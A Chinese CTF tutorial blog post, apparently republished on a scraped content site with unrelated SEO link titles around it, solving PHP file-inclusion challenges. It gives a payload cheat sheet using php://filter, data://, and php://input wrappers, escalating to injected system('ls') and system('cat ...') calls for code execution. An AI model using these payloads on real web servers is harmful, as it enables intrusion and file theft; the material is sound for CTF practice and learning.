当前位置: 首页 > news >正文

今天国内重大新闻seo快速优化软件网站

今天国内重大新闻,seo快速优化软件网站,沈阳方正建设监理网站,vs做网站教程上一篇文章:一篇文章带你入门文件包含-CSDN博客 已经开始入门了文件包含,那现在开始拔高提升刷题! 1. 拿到题目后啥也没有,所以也不知道要读取啥文件,那就查看源代码。 直接看if的条件就可以知道一定要设置cookie&a…

上一篇文章:一篇文章带你入门文件包含-CSDN博客

已经开始入门了文件包含,那现在开始拔高提升刷题!

1.

拿到题目后啥也没有,所以也不知道要读取啥文件,那就查看源代码。

直接看if的条件就可以知道一定要设置cookie,因为这里存在着文件包含,

看来我上一篇文章的就知道,直接伪协议开始读取,

?file=php://filter/read=convert.base64-encode/resource=xxx.php

这个是基本的格式啊,

这里因为要写入cookie,而且首页还提示了网站首页目录  /var/www/html/index.php,

那就稍作修改,抓包,添加cookie并且写入

 language=php://filter/read=convert.base64-encode/resource=/var/www/html/flag

(2)

WRONG WAY! <?php
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET["file1"]) && isset($_GET["file2"]))
{
    $file1 = $_GET["file1"];
    $file2 = $_GET["file2"];
    if(!empty($file1) && !empty($file2))
    {
        if(file_get_contents($file2) === "hello ctf")
        {
            include($file1);
        }
    }
    else
        die("NONONO");
}

提示:PHP file_get_contents () 函数

  • 定义和用法 file_get_contents () 把整个文件读入一个字符串中。 该函数是用于把文件的内容读入到一个字符串中的首选方法。 如果服务器操作系统支持,还会使用内存映射技术来增强性能。
  • 读了我上一篇文章的人拿到这道题目应该就可以直接出现思路了
  • 其实就是存在两个文件,file1直接伪协议直接读取flag.php,没啥意思,file2就是伪协议,写入 hello ctf 
  • ?file1=php://filter/read=convert.base64-encode/resource=flag.php&file2=data:text/plain,hello ctf
  • 这个payload在上一篇文章开头就有类似的,需要可以自行复制
  •  上一篇文章:一篇文章带你入门文件包含-CSDN博客

  • 然后再来一道永恒的经典!!!

  • <?php
    show_source(__FILE__);
    echo $_GET['hello'];
    $page=$_GET['page'];
    while (strstr($page, "php://")) {
        $page=str_replace("php://", "", $page);
    }
    include($page);
    ?>

这道题目有多种解法:

二话不说,先给大家献上干货,以下是CTF伪协议的常见用法,遇到直接自行复制使用即可

补充一下,第一点的<?php phpinfo()?>如果找不到flag,那也别傻站着,换个命令,<?php system("ls")?>或者直接<?php system("cat flag.php")?>

第二点的PD9waHAgcGhwaW5mbygpPz4=base64形式的<?php phpinfo()?>,如果这个不行,也别傻站着,换个命令,你不知道对面会过滤什么,唯有多尝试。

1.?file=data:text/plain,<?php phpinfo()?>

2.?file=data:text/plain;base64,PD9waHAgcGhwaW5mbygpPz4=

3.?file=php://input [POST DATA:]<?php phpinfo()?>

4.?file=php://filter/read=convert.base64-encode/resource=xxx.php
 

这里拿一道题目演示成果:

?file=data:text/plain,<?php phpinfo()?>直接丢进去,就出现phpinfo,如果ctrl+f查找flag,发现没有,那也别傻站着,换个命令。<?php system("ls")?>

最后直接<?php system("cat fl4gisisish3r3.php")?>直接拿下

以上只是基本思路,因为看题目它过滤了php://,也就是用不了php:input协议那就换成data://text/plain协议,如果过滤的很严格,那就可以尝试下文件日志包含,以上只是提供了基本解题思路,如果你第一种方法失效了,就说明被过滤了,后面还有很多方法,别愣着,如果不知道对面过滤了什么,那就一个一个尝试。

以上只是其中微不足道的一种方法,这里通过我的见解抛砖引玉。如果各位能够想出两种甚至三种方法做出这道题,那么你就可以说自己已经离开了文件上传的新手村了
 

祝大家CTF玩的开心

http://www.khdw.cn/news/61983.html

相关文章:

  • wordpress 小工具 插件高中同步测控优化设计答案
  • 电子商务网站开发设计案例—易趣网电子商务网站营销型网站特点
  • 怎么使用vs2017做网站微信广告朋友圈投放
  • 网站优化推广平台深圳全网推广托管
  • 一块钱购物网站哈尔滨seo关键词优化
  • 网页设计师初学者工资广州seo关键词优化费用
  • 东莞市视频直播网站开发保定网站建设方案优化
  • 北京市家装公司排行榜杭州seo优化公司
  • 网站建设实验报告模板app开发平台
  • 弋阳网站建设制作如何建立自己的网站
  • 衡水网站建设推广网站建设哪家公司好
  • 温州做网站建设多少钱西安全网优化
  • 三峡建设委员会网站怎么在百度上推广
  • 长沙麓谷建设发展有限公司网站西安发布最新通知
  • 做网站需要什么证明嘛sem是什么牌子
  • 佛山设计网站设计价格微信小程序开发费用
  • 做网站需要简介怎么把自己的网站发布到网上
  • 校园门户网站建设方案企业营销策划书范文
  • 外贸销售平台有哪些优化排名 生客seo
  • 杭州个人网站建设宁波seo关键词优化
  • 做venn图的网站百度seo排名点击
  • 网络游戏传奇seo赚钱方式
  • 做网站找谁今日新闻摘抄10条简短
  • 做网站需要交接什么网页设计欣赏
  • 大凤号 网站建设seo网站建设公司
  • 网站建设策划书百度文库营销咨询师
  • 安福相册网站怎么做的怎么建立信息网站平台
  • 长沙网站优化推广互联网营销顾问
  • 地方购物网站盈利模式常用的搜索引擎有
  • 淘宝客领券网站怎么做sem竞价推广代运营收费